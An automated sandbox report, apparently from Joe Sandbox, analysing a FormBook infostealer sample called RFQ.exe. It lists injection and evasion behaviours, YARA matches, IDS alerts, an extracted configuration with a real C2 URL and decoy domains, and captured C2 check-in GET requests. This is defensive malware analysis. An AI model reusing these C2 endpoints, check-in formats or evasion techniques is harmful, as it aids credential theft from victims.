Play interactive tour

Edit tour

Analysis Report RFQ.exe

Overview

General Information

Sample Name:	RFQ.exe
Analysis ID:	356498
MD5:	d0776103a16d59cf8a53d84854377371
SHA1:	11189405de042e38b6d5a7d5ba9250e091d8a0fe
SHA256:	8cbda95915fcb9696e4e221cdb72f9dc9175af27e348f05bede3f988aee9070c
Tags:	exeFormbook
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Yara detected FormBook

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Tries to detect virtualization through RDTSC time measurements

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains strange resources

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Startup

System is w10x64

RFQ.exe (PID: 7080 cmdline: 'C:\Users\user\Desktop\RFQ.exe' MD5: D0776103A16D59CF8A53D84854377371)

RFQ.exe (PID: 5652 cmdline: {path} MD5: D0776103A16D59CF8A53D84854377371)

explorer.exe (PID: 3440 cmdline: MD5: AD5296B280E8F522A8A897C96BAB0E1D)

rundll32.exe (PID: 496 cmdline: C:\Windows\SysWOW64\rundll32.exe MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cmd.exe (PID: 6260 cmdline: /c del 'C:\Users\user\Desktop\RFQ.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.talllensphotography.com/md5/"], "decoy": ["gnd3.com", "thedrata.com", "carbeloy.com", "impactpittsburg.com", "sussage.com", "mikespencil.com", "ghoshtechno.com", "partnermassagetherapy.com", "nagago.asia", "parkviee.com", "kichisanpo.com", "awbaviation.com", "shopvibeup.com", "ab-alamode.com", "cash4homesutah.com", "funbrushstrokes.com", "adeleycar.com", "actsbooking.com", "rojorodi.icu", "fleurdelyscantho.com", "bobwhiteknives.com", "entrefloresdr.com", "eurostarcellars.com", "shipu143.com", "lindsaydrees.com", "turningtecc.com", "reusedearth.com", "theemperorbrand.com", "afrohiphops.com", "officehoursonly.com", "pharmacistscbd.com", "yaanpay.com", "mymoxypets.com", "sharehealthalliance.com", "sparktvnetwork.com", "marymoorridgecondo.com", "honest-woman.com", "blitzerfoto.net", "vanhanhnhansu.com", "lawyerspledge.com", "parkwashingtondc.com", "worldwideexpressweb.net", "oatml.com", "acquaintancenutritious.info", "lukmanmalik.xyz", "eudorabcantik.com", "fotosdepueblo.com", "latelierp.com", "dogmomtreats.com", "beerthirtyslc.com", "greenlightsmokables.com", "newyorkbusinesssolutions.com", "latravesia.net", "worldvisioncompany.com", "radiusbrisbane.com", "beachhammocking.com", "games-daizo.com", "customkreation.com", "universiteyehazirlan.com", "studentpalace.rentals", "vizecix.com", "new123movies.pro", "skincolored.com", "goldstespresso.com"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.444247401.0000000001220000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.444247401.0000000001220000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.444247401.0000000001220000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
0000000E.00000002.593192539.0000000000A30000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000E.00000002.593192539.0000000000A30000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000E.00000002.593192539.0000000000A30000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.395391792.0000000003DD9000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.395391792.0000000003DD9000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0xaef30:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xaf1aa:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xdb750:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xdb9ca:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xbaccd:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0xe74ed:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0xba7b9:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0xe6fd9:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0xbadcf:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0xe75ef:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0xbaf47:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xe7767:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xafbc2:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0xdc3e2:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0xb9a34:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xe6254:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb08bb:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0xdd0db:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0xc096f:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xed18f:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xc1972:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000002.395391792.0000000003DD9000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0xbda51:$sqlite3step: 68 34 1C 7B E1 0xbdb64:$sqlite3step: 68 34 1C 7B E1 0xea271:$sqlite3step: 68 34 1C 7B E1 0xea384:$sqlite3step: 68 34 1C 7B E1 0xbda80:$sqlite3text: 68 38 2A 90 C5 0xbdba5:$sqlite3text: 68 38 2A 90 C5 0xea2a0:$sqlite3text: 68 38 2A 90 C5 0xea3c5:$sqlite3text: 68 38 2A 90 C5 0xbda93:$sqlite3blob: 68 53 D8 7F 8C 0xbdbbb:$sqlite3blob: 68 53 D8 7F 8C 0xea2b3:$sqlite3blob: 68 53 D8 7F 8C 0xea3db:$sqlite3blob: 68 53 D8 7F 8C
0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000002.444182169.00000000011F0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.444182169.00000000011F0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.444182169.00000000011F0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
0000000E.00000002.593093257.0000000000840000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000E.00000002.593093257.0000000000840000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000E.00000002.593093257.0000000000840000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
7.2.RFQ.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
7.2.RFQ.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
7.2.RFQ.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
7.2.RFQ.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
7.2.RFQ.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8ae8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14885:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14987:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x977a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x135ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa473:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1a527:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1b52a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
7.2.RFQ.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17609:$sqlite3step: 68 34 1C 7B E1 0x1771c:$sqlite3step: 68 34 1C 7B E1 0x17638:$sqlite3text: 68 38 2A 90 C5 0x1775d:$sqlite3text: 68 38 2A 90 C5 0x1764b:$sqlite3blob: 68 53 D8 7F 8C 0x17773:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 1 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: www.talllensphotography.com/md5/

Avira URL Cloud: Label: malware

Found malware configuration

Show sources

Source: 7.2.RFQ.exe.400000.0.raw.unpack

Malware Configuration Extractor: FormBook {"C2 list": ["www.talllensphotography.com/md5/"], "decoy": ["gnd3.com", "thedrata.com", "carbeloy.com", "impactpittsburg.com", "sussage.com", "mikespencil.com", "ghoshtechno.com", "partnermassagetherapy.com", "nagago.asia", "parkviee.com", "kichisanpo.com", "awbaviation.com", "shopvibeup.com", "ab-alamode.com", "cash4homesutah.com", "funbrushstrokes.com", "adeleycar.com", "actsbooking.com", "rojorodi.icu", "fleurdelyscantho.com", "bobwhiteknives.com", "entrefloresdr.com", "eurostarcellars.com", "shipu143.com", "lindsaydrees.com", "turningtecc.com", "reusedearth.com", "theemperorbrand.com", "afrohiphops.com", "officehoursonly.com", "pharmacistscbd.com", "yaanpay.com", "mymoxypets.com", "sharehealthalliance.com", "sparktvnetwork.com", "marymoorridgecondo.com", "honest-woman.com", "blitzerfoto.net", "vanhanhnhansu.com", "lawyerspledge.com", "parkwashingtondc.com", "worldwideexpressweb.net", "oatml.com", "acquaintancenutritious.info", "lukmanmalik.xyz", "eudorabcantik.com", "fotosdepueblo.com", "latelierp.com", "dogmomtreats.com", "beerthirtyslc.com", "greenlightsmokables.com", "newyorkbusinesssolutions.com", "latravesia.net", "worldvisioncompany.com", "radiusbrisbane.com", "beachhammocking.com", "games-daizo.com", "customkreation.com", "universiteyehazirlan.com", "studentpalace.rentals", "vizecix.com", "new123movies.pro", "skincolored.com", "goldstespresso.com"]}

Multi AV Scanner detection for submitted file

Show sources

Source: RFQ.exe	Virustotal: Detection: 35%			Perma Link
Source: RFQ.exe	ReversingLabs: Detection: 16%

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000007.00000002.444247401.0000000001220000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.593192539.0000000000A30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.395391792.0000000003DD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.444182169.00000000011F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.593093257.0000000000840000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 7.2.RFQ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.RFQ.exe.400000.0.unpack, type: UNPACKEDPE

Source: 7.2.RFQ.exe.400000.0.unpack

Avira: Label: TR/Crypt.ZPACK.Gen

Compliance:

Uses 32bit PE files

Show sources

Source: RFQ.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Contains modern PE file flags such as dynamic base (ASLR) or NX

Show sources

Source: RFQ.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Binary contains paths to debug symbols

Show sources

Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000008.00000000.426278317.000000000EF20000.00000002.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: RFQ.exe, 00000007.00000002.444723171.000000000165F000.00000040.00000001.sdmp, rundll32.exe, 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: RFQ.exe, 00000007.00000002.444723171.000000000165F000.00000040.00000001.sdmp, rundll32.exe
Source:	Binary string: rundll32.pdb source: RFQ.exe, 00000007.00000002.444396323.00000000012A9000.00000004.00000020.sdmp
Source:	Binary string: rundll32.pdbGCTL source: RFQ.exe, 00000007.00000002.444396323.00000000012A9000.00000004.00000020.sdmp
Source:	Binary string: wscui.pdb source: explorer.exe, 00000008.00000000.426278317.000000000EF20000.00000002.00000001.sdmp

Software Vulnerabilities:

Source: C:\Users\user\Desktop\RFQ.exe	Code function: 4x nop then pop edi		7_2_00416C9C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4x nop then pop edi		14_2_00656C9C

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49746 -> 144.208.69.172:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49746 -> 144.208.69.172:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49746 -> 144.208.69.172:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49750 -> 142.250.185.179:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49750 -> 142.250.185.179:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49750 -> 142.250.185.179:80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: www.talllensphotography.com/md5/

Source: global traffic	HTTP traffic detected: GET /md5/?idBXUjVP=2OYyEXTLFIqjBC5O5m8RJZ0r5htmlVRkTtWUdd8YXANk4Q730sjJcSottHUfDbvwisHPrnhI0g==&EBZ=ZVItdHbxztF0a HTTP/1.1Host: www.eudorabcantik.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /md5/?idBXUjVP=s4q+K9SYeQAH/ol1LHDCX3FORxxmw3fUJuDZ6OIV0kEaH/C8CzqjXw4/MJNt0fJkrNVLW2mfGw==&EBZ=ZVItdHbxztF0a HTTP/1.1Host: www.skincolored.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View

IP Address: 52.58.78.16 52.58.78.16

Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: IMH-WESTUS IMH-WESTUS

Source: global traffic	HTTP traffic detected: GET /md5/?idBXUjVP=2OYyEXTLFIqjBC5O5m8RJZ0r5htmlVRkTtWUdd8YXANk4Q730sjJcSottHUfDbvwisHPrnhI0g==&EBZ=ZVItdHbxztF0a HTTP/1.1Host: www.eudorabcantik.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /md5/?idBXUjVP=s4q+K9SYeQAH/ol1LHDCX3FORxxmw3fUJuDZ6OIV0kEaH/C8CzqjXw4/MJNt0fJkrNVLW2mfGw==&EBZ=ZVItdHbxztF0a HTTP/1.1Host: www.skincolored.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: unknown

DNS traffic detected: queries for: www.eudorabcantik.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 23 Feb 2021 08:02:32 GMTServer: ApacheAccept-Ranges: bytesCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Connection: closeTransfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a Data Ascii: 111157<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>3404

Source: RFQ.exe	String found in binary or memory: http://code.google.com/feeds/p/topicalmemorysystem/downloads/basic.xml
Source: RFQ.exe	String found in binary or memory: http://code.google.com/p/topicalmemorysystem/
Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: RFQ.exe	String found in binary or memory: http://topicalmemorysystem.googlecode.com/files/
Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000008.00000002.593605277.000000000095C000.00000004.00000020.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: RFQ.exe	String found in binary or memory: http://www.biblegateway.com/passage/?search=
Source: RFQ.exe	String found in binary or memory: http://www.biblija.net/biblija.cgi?m=
Source: RFQ.exe	String found in binary or memory: http://www.blueletterbible.org/Bible.cfm?b=
